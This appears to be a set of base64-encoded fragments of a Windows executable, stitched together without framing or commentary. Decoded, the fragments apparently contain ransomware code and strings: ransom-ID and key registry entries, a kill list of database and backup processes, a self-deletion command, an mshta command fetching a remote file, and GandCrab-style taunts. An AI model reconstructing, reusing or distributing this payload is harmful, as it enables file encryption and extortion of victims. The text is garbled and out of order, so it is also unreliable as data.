GBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgJZIgYGxgYGBwYGBjn5xgYoBgYGBgYGBhYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBjAGBgYFgeiFhisEdU5oBlU1TlMcHFrOGhqd39qeXU4e3l2dndsOHp9OGptdjhxdjhcV0s4dXd8fTYVFRI8GBgYGBgYGOuZXlmv+DAKr/gwCq/4MAqmgKMKrPgwCq/4MQqg+DAKoqrVCq74MAqiqusKrvgwCqKq7gqu+DAKSnF7cK/4MAoYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBhIXRgYfJ4dGOHJhUMYGBgYGBgYGOgYOjgTGhQYGB4YGBgUGBgYGBgYyAsYGBgIGBgYGBiYGRgYGBgIGBgYGhgYHRgaGBgYGBgdGBoYGBgYGBh4GBgYHBgYGBgYGBoYeBkYGAgYGBgYGBgIGBgYGBgYGBgIGBgYGBgYCBgYGBgYGBgYGBgIGBgYGBgYGBgYGBhkORgYMBgYGBhIGBj4GRgYGFgYGEwYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY','dQVyBWEFdQVpBSUFKwV1BXIFbAUlBSsFdQVyBXcFJQUrBXQFYQVpBSUFKwV0BXUFYwUlBSsFdwVkBWEFJQUrBXcFYAVkBWEFaAVgBSUFKwV3BWMFcQUlBSsFdwVsBXYFJQUrBXcFdQVxBSUFKwV3BXYFcQUlBSsFdwVxBWEFJQUrBXcFcQVjBSUFKwV3BXEFYwVhBSUFKwV3BXEFfQUlBSsFdwVwBWsFJQUrBXcFcwVjBSUFKwV3BX8FbgUlBSsFdwV/BWsFJQUrBXYFZAVjBSUFKwV2BWQFYwVgBXEFYAV9BXEFJQUrBXYFZAVoBSUFKwV2BWQFaAUlBSsFdgVkBXMFYAUlBSsFdgVmBWYFJQUrBXYFZgVoBSUFKwV2BWYFdwVsBXMFJQUrBXYFZgV3BWwFcwV9BSUFKwV2BWYFcQUlBSsFdgVmBXIFJQUrBXYFYQVoBSUFKwV2BWEFagVmBSUFKwV2BWEFcgUlBSsFdgVgBSUFKwV2BWAFdgV2BWwFagVrBSUFKwV2BWIFaAUlBSsFdgVsBWIFJQUrBXYFbgVmBWQFdwVhBSUFKwV2BWkFZAUlBSsFdgVpBWQFKwViBX8FJQUrBXYFaAVjBSUFKwV2BWgFdgUlBSsFdgV2BWQFJQUrBXYFcQVqBXcFfAUlBSsFdgVxBXcFbAVrBWIFdgUlBSsFdgVxBXIFJQUrBXYFcQV8BSUFKwV2BXAFZwVpBWwFaAVgBSgFdQV3BWoFbwVgBWYFcQUlBSsFdgVwBWcFaQVsBWgFYAUoBXIFagV3BW4FdgV1BWQFZgVgBSUFKwV2BX0FYgUlBSsFdgV9BXIFJQUrBXEFZAVnBSUFKwVxBWQFZwUlBSsFcQVhBWMFJQUrBXEFYQVjBSUFKwVxBWAFaAV1BWkFZAVxBWAFJQUrBXEFYAV9BSUFKwVxBWAFfQVxBSUFKwVxBWAFfQVxBWYFaQVsBXUFdQVsBWsFYgUlBSsFcQVtBXUFJQUrBXEFaQVnBSUFKwVxBWgFJQUrBXEFaAVhBSUFKwVxBWgFYQV9BSUFKwVxBWgFcwUlBSsFcQVoBXMFfQUlBSsFcQV1BWYFJQUrBXEFdwVgBWkFZwV8BSUFKwVxBXMFbwUlBSsFcQV9BXEFJQUrBXAFNgVsBSUFKwVwBWsFZAVwBXEFbQUlBSsFcAVrBX0FJQUrBXAFagVjBSUFKwVwBWoFcQUlBSsFcAV1BWEFJQUrBXAFcQVjBT0FJQUrBXAFcQV9BXEFJQUrBXMFZgVxBSUFKwVzBWsFcQUlBSsFcwVyBSUFKwVyBWcFbgUlBSsFcgVgBWcFYQVqBWYFJQUrBXIFawUlBSsFcgV1BSUFKwVyBXUFMQUlBSsFcgV1BTAFJQUrBXIFdQUzBSUFKwVyBXUFMgUlBSsFcgV1BWQFJQUrBXIFdQVhBSUFKwVyBXUFYQUlBSsFcgV1BWEFJQUrBXIFdQVpBSUFKwVyBXUFdgUlBSsFcgV1BXYFJQUrBXIFdQVxBSUFKwVyBXUFcQUlBSsFcgV1BXIFJQUrBXIFdwVsBSUFKwVyBXYFYQUlBSsFcgVxBXEFJQUrBXIFcQV9BSUFKwV9BWcFYQVqBWYFJQUrBX0FZwV1BWkFZAVxBWAFJQUrBX0FYQVpBSUFKwV9BWEFaQUlBSsFfQVyBXUFJQUrBX0FcgV1BSUFKwV9BXIFdQUlBSsFfQV8BSUFKwV9BXwFNg','SFyXTUK/IPtwJmiQQWjVICZoXAdANJde4zwIXJddBmiQfou/D//2oi67pVi+xWi3UIhfZ0E4tVDIXSdAyLTRCFyXUZM8BmiQbolPD//2oWXokw6N74//+Lxl5dw1eL/iv5D7cBZokED41JAmaFwHQDSnXuM8BfhdJ132aJBuhf8P//aiLryVWL7ItFCGaLCIPAAmaFyXX1K0UI0fhIXcNVi+yLVRSLTQhWhdJ1DYXJdQ05TQx1JjPA6zOFyXQei0UMhcB0F4XSdQczwGaJAevmi3UQhfZ1GTPAZokB6ADw//9qFl6JMOhK+P//i8ZeXcNTi9lXi/iD+v91FiveD7cGZokEM412AmaFwHQlT3Xu6yAr8Q+3BB5miQONWwJmhcB0Bk90A0p164XSdQUzwGaJA4X/X1sPhXv///+D+v91D4tFDDPSalBmiVRB/ljrnjPAZokB6Ijv//9qIuuGVYvsU1ZXM/+74wAAAI0EO5krwovw0f5qVf809RhHARD/dQjonAAAAIPEDIXAdBN5','BUMW0xfDGdMdUxMjJuPKU+sD7APvI+Gj8gPwAwAQAkAAAAuDK8MsAyxDLQMtQy2DLwMvQy+DL8MuA/5D/8PwBAAQCYAwAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RD','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HMAdgBjAC4AZQB4AGUAaQBzAHEAbABwAGwAdQBzAHMAdgBjAC4AZQB4AGUAAAAAAHgAZgBzAHMAdgBjAGMAbwBuAC4AZQB4AGUAAABzAHEAbABzAGUAcgB2AHIALgBlAHgAZQAAAAAAbQB5AGQAZQBzAGsAdABvAHAAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAABvAGMAYQB1AHQAbwB1AHAAZABzAC4AZQB4AGUAAAAAAGEAZwBuAHQAcwB2AGMALgBlAHgAZQBhAGcAbgB0AHMAdgBjAC4AZQB4AGUAAAAAAGEAZwBuAHQAcwB2AGMALgBlAHgAZQBlAG4AYwBzAHYAYwAuAGUAeABlAAAAZgBpAHIAZQBmAG8AeABjAG8AbgBmAGkAZwAuAGUAeABlAAAAdABiAGkAcgBkAGMAbwBuAGYAaQBnAC4AZQB4AGUAAABtAHkAZABlAHMAawB0AG8AcABxAG8AcwAuAGUAeABlAAAAAABvAG','yARCDxAyFwH4eahGNRdRQav//dcj/dfz/FXwyARDHheD+//8BAAAAi03I6Dv1//+LTcToM/X//4O94P7//wB1JI1FoFD/FcgxARDGRAWeAGoRjUXUUGr/jUWgUP91/P8VfDIBEMeFxP7//4AAAACNhcT+//9QjYXA/P//UP8VEDABEIXAdG1ohIcBEI2FwPz//1D/FaAwARCFwHQejYXA/P//UGiUhwEQjYXA9P//UP8VcDIBEIPEDOsUaKiHARCNhcD0//9Q/xVwMgEQWVmLRejR4ItN2CvIiU3YahGNRdRQav+NhcD0//9Q/3X8/xWAMgEQxoXo/v//WcaF6f7//0/Gher+//9VxoXr/v//UsaF7P7//yDGhe3+//9GxoXu/v//ScaF7/7//0zGhfD+//9FxoXx/v//U8aF8v7//yDGhfP+//9BxoX0/v//UsaF9f7//0XGhfb+//8gxoX3/v//VcaF+P7//07Ghfn+//9ExoX6/v//RcaF+/7//1LGhfz+//8gxoX9/v//U8aF/v7//1TGhf/+//9SxoUA////T8aFAf///07GhQL///9HxoUD////IMaFBP///1DGhQX///9SxoUG////T8aFB////1TGhQj///9FxoUJ/','IvCweAfiU2w0W2wCUWwi0WwweEf0e/R6gv5/02YiVXciUXYiX3Udc5qAIXbiVWwW3QSZovHM/9HZgvHZolF1It91OsEZotF1LoAgAAAZjvCdw6B5///AQCB/wCAAQB1QItF1oP4/3U0i0XaiV3Wg/j/dSBmi0Xeuf//AACJXdpmO8F1B2aJVd5G6wxmQGaJRd7rBECJRdqLTdzrB0CJRdaLTbCLVay4/38AAGY78HIfM8CJXchmOUWgiV3ED5TASCUAAACABQCA/3+JRczrOmaLRdYLdaBmiUXEi0XYiUXGiU3KZol1zusgM8BmOUWgD5TASCUAAACABQCA/3+JRcyJXciJXcSLVayLdbSF9g+FE/3//4tFzA+3TcSLVcaLdcrB6BDrMjP/i8uLw4vzi9ONXwHrI7j/fwAAvgAAAIBqAusQi8uLw4vzi9PrC4vDi/NqBIvLi9Nbi32AC0WQZolHCovDZokPiVcCiXcGi038X14zzVvoY7///4vlXcNK/gAQnP4AEPb+ABAn/wAQiP8AEAsAARAkAAEQhwABEGkAARDJAAEQvgABEJMAARBVi+xqAP91HP91GP91FP91EP91DP91COgFAAAAg8QcXcNVi+yLRRSD+GV0X4P4RXRag/hmdRn/dSD/dRj/dRD/dQz/dQjo4gYAAIPEFF3Dg/hhdB6D+EF0Gf91IP91HP91GP91EP91DP91COh9BwAA6zD/dSD/dRz/dRj/dRD/dQz/dQjoHgAAAOsX/3Ug/3Uc/3UY/3UQ/3UM/3UI6NAEAACDxBhdw1WL7IPsLFNWV2owWP91HIvIx0X4/wMAAIlN/DPbjU3U6MOg//+LfRSF/3kCi/uLdQyF9nQHi00Qhcl1CehTuv//ahbrEI1HC4geO8h3FOhBuv//aiJfiTjoi8L//+nkAgAAi1UIiwKLWgSJReyLw8HoFCX/BwAAPf8HAAB1eTPAO8B1dYPI/zvIdAONQf5qAFdQjV4CU1LowAIAAIv4g8QUhf90CMYGAOmZAgAAgDstdQTGBi1Gi30Yhf9qMFiIBg+UwP7IJOAEeIhGAY1GAmplUOgWFQAAWVmFwHQThf8PlMH+yYDh4IDBcIgIxkADADP/6U8CAAAzwIHjAAAAgAvDdATGBi1Gg30YAItdGGowWIgGD5TA/sgk4AR499uIRgGLSgQb24Pj4IHhAADwf4PDJzPAC8GJXfB1J2owWIhGAoPGA4tCBIsKJf//DwALyHUHM8CJRfjrEMdF+P4DAADrB8ZGAjGDxgOLzkaJTfSF/3UFxgEA6w+LRdSLgIQAAACLAIoAiAGLQgQl//8PAIlF6HcJgzoAD4bCAAAAg2UUALkAAA8Ai0X8iU0Mhf9+U4sCi1IEI0UUI9GLTfyB4v//DwAPv8noQhgAAGowWWYDwQ+3wIP4OXYCA8OLTQyLVQiIBkaLRRQPrMgEiUUUi0X8wekEg+gET4lNDIlF/GaFwHmpZoXAeFeLAotSBCNFFCPRi038geL//w8AD7/J6OoXAABmg/gIdjZqMI1G/1uKCID5ZnQFgPlGdQWIGEjr74td8DtF9HQUigiA+Tl1B4DDOogY6wn+wYgI6wP+QP+F/34QV2owWFBW6C+8//+DxAwD94tF9IA4AHUCi/CDfRgAsTSLVQgPlMD+yCTgBHCIBosCi1IE6HIXAACLyIvaM8CB4f8HAAAj2CtN+BvYeA9/BDvIcgnGRgErg8YC6w3GRgEtg8YC99kT2PfbxgYwi/472HxBuugDAAB/BDvKchdQUlNR6EQWAAAEMIlV6IgGRjPAO/d1CzvYfBt/BYP5ZHIUUGpkU1HoIRYAAAQwiVXoiAZGM8A793ULO9h8Hn8Fg/kKchdQagpTUej+FQAABDCJVe','BEAAAAAAAAAAAAAAAADClARAAAAAAAAAAAAAAAAAwpQEQAAAAAAAAAAAAAAAAMKUBEAAAAAAAAAAAAAAAADClARAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAiKgBEAAAAAAAAAAA2DgBEGA9ARDgPgEQOKUBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7////cOgEQAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiKgBEC4AAACEqAEQbAcCEGwHAhBsBwIQbAcCEGwHAhBsBwIQbAcCEGwHAhBsBwI','Zg9XwGYPE0XMg6UA////AIOl/P7//wCDZewAam5YZomFHP///2p0WGaJhR7///9qZFhmiYUg////amxYZomFIv///2psWGaJhST///9qLlhmiYUm////amRYZomFKP///2psWGaJhSr///9qbFhmiYUs////M8BmiYUu////M8BmiYUw////jY0c////6FYYAACJRdSJVdjHRdwAAAEAg2XgAMZFkE7GRZF0xkWSUcZFk3XGRZRlxkWVcsZFlnnGRZdTxkWYecZFmXPGRZp0xkWbZcZFnG3GRZ1JxkWebsZFn2bGRaBvxkWhcsZFom3GRaNhxkWkdMZFpWnGRaZvxkWnbsZFqAD/ddj/ddSNTZDorhgAAImFbP///4mVcP///4uFbP///wuFcP///3R4i0','YGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBg','FyXQvhcB0K//RhcB0Go1N3FFqDI1N8FFqAVD/VeiFwHQG9kX4AXULi30Qgc8AACAA6zChCBECEDvHdCRQ/9OFwHQd/9CL8IX2dBWhDBECEDvHdAxQ/9OFwHQFVv/Qi/CLfRD/NQQRAhD/04XAdAxX/3Xg/3XkVv/Q6wIzwItN/F9eM81b6H7o//+L5V3DagLoFNv//1nDoSQjAhBWahRehcB1B7gAAgAA6wY7xn0Hi8ajJCMCEGoEUOiT4///oyAjAhBZWYXAdR5qBFaJNSQjAhDoeuP//6MgIwIQWVmFwHUFahpYXsMz0rmoqgEQiQwCg8EgjVIEgfkorQEQfQehICMCEOvoM8Bew+gaAgAAgD1cBwIQAHQF6AUFAAD/NSAjAhDoFtz//4MlICMCEABZw1WL7FaLdQi5qKoBEDvxciKB/gitARB3GovGK8HB+AWDwBBQ6BTZ//+BTgwAgAAAWesKjUYgUP8V3DABEF5dw1WL7ItFCIP4FH0Wg8AQUOjp2P//i0UMWYFIDACAAABdw4tFDIPAIFD/FdwwARBdw1WL7ItFCLmoqgEQO8FyHz0IrQEQdxiBYAz/f///K8HB+AWDwBBQ6H/Z//9ZXcODwCBQ/xXYMAEQXcNVi+yLTQiLRQyD+RR9E4FgDP9///+NQRBQ6FLZ//9ZXcODwCBQ/xXYMAEQXcNVi+yLRQiFwHUV6P7i///HABYAAADoR+v//4PI/13Di0AQXcNVi+yLTQiD+f51DejZ4v//xwAJAAAA6ziFyXgkOw0AEwIQcxyLwYPhH8H4BcHhBosEhSARAhAPvkQIBIPgQF3D6KTi///HAAkAAADo7er//zPAXcNVi+xWi3UIhfZ1CVboogAAAFnr','RD/NYwSAhD/NYQSAhD/FZwxARChhBICEIlF+IN9+AB0drpQdAEQi0346CZFAACJRfyDffwAdDn/deT/dfz/FZgxARD/dfz/FcwxARCLTfyNBEGJReBqIFiLTeBmiQG6UHQBEItN+OjpRAAAiUX868FoZHQBELpwdAEQi0346K1JAABZ/zXcEgIQ','4tF9ItV+IvlXcNVi+yDfQgAdg3/dQhSUejXrgAAg8QMXcOF0nQMUmoAUejFrgAAg8QMw4t1CKGoEgIQugAD/n//EsIEAFNWV2CLFZQSAhBkiwKLFaQSAhCLBBC','AQCKjgEAfI4BAG6OAQBijgEAWo4BAE6OAQBAjgEALI4BACqZAQAamQEABpkBAPiYAQDqmAEAwpgBAKSYAQCImAEAdpgBAGqYAQBUmAEAzpcBAOqXAQD8lwEABpgBABKYAQAemAEANJgBAESYAQCumQEAAAAAADKXAQASlwEAIpcBAAAAAADclgEAypYBAOyWAQAAAAAA0pMBAACUAQAMlAEAFJQBAJSTAQCgkwEAuJMBACCUAQAslAEAOJQBAOqTAQAAAAAATpcBAK6XAQCalwEAdJcBAF6XAQCGlwEAAAAAAAAAAAAAAAAAAAAAAPCnABDDrAAQodUAEBrcABAAAAAAAAAAAJ61ABDGEQEQjdwAEAAAAAAAAAAAAAAAAAAAAAAAAAAAADMBEAwzARAYMwEQJDMBEGoAYQAtAEoAUAAAAHoAaAAtAEMATgAAAGsAbwAtAEsAUgAAAHoAaAAtAFQAVwAAAFN1bgBNb24AVHVlAFdlZABUaHUARnJpAFNhdABTdW5kYXkAAE1vbmRheQAAVHVlc2RheQBXZWRuZXNkYXkAAABUaHVyc2RheQAAAABGcmlkYXkAAFNhdHVyZGF5AAAAAEphbgBGZWIATWFyAEFwcgBNYXkASnVuAEp1bABBdWcAU2VwAE9jdABOb3YARGVjAEphbnVhcnkARmVicnVhcnkAAAAATWFyY2gAAABBcHJpbAAAAEp1bmUAAAAASnVseQAAAABBdWd1c3QAAFNlcHRlbWJlcgAAAE9jdG9iZXIATm92ZW1iZXIAAAAARGVjZW1iZXIAAAAAQU0AAFBNAABNTS9kZC95eQAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AE